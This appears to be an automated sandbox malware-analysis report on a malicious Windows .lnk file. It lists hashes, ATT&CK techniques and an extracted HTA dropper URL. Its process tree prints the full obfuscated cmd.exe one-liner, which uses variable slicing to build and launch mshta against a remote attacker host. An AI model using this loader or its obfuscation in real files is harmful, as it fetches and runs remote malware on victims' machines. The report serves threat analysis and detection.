ec8d9ba4e987240ca4a2c38127c571f23bc0eeff241a4614e24f0476dec78b30

Analysis

max time kernel
56s
max time network
61s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
22/08/2026, 00:16

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General

Target
DOC-FDGNO4.lnk
Size 2KB
Sample260822-akzmxstyb1
SHA256 ec8d9ba4e987240ca4a2c38127c571f23bc0eeff241a4614e24f0476dec78b30
MD5 b154bb7aa8fec3c8e7b36f7d48f11bda
SHA1 89e9c7ef1bb871dff3a12740297d2190948df798
SHA512 c3e2738abceb05d5b1a4416397421f65742f5771a37b595e79c69af91f92ad5a1ad2794e728b0918d09beadcdb40c8fbe97686d2597f496122f2ef4e15b7273d
TLSH
T17F4136807AFD00D5F2FB8E37DCFA6751897BB8565CA4C68E0A00824D1426F05E97BB67
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB

Signatures

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4540	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 4540 wrote to memory of 60	4540	cmd.exe	89
PID 60 wrote to memory of 2892	60	cmd.exe	90

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-FDGNO4.lnk
1⤵
- Checks computer location settings
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4540
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /d/V:on/c"set kH=logtrkbtgiesmrydlog&&set TEFFu=cacheeqljsduucache&&set qy=tmplmizyevchtmp&&set Kl=windsjswwwweshfognzswin&&set Mc=d3msau&&set ai=okt8qr&&set LqcL=gartzsb&&set To=cachelxjlvxjcsdtchcache&&set cIqH=dbgppvhruweokozsfxtdbg&&set rpinb=3mshncj&&set MKoc=30xtc&&set ny=eav3&&set mC=htt@ps:@//ma-@pdff@i@[email protected]@t@/h@/esta@gi@[email protected]@p@?r=@3@9@1469FB@5@D@82@DB&&start /b !rpinb:~1,3!!MKoc:~3,1!!ny:~1,1! !mC:@=!&&set aLDP=done"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:60
- - C:\Windows\System32\mshta.exe
    mshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
    3⤵
    PID:2892

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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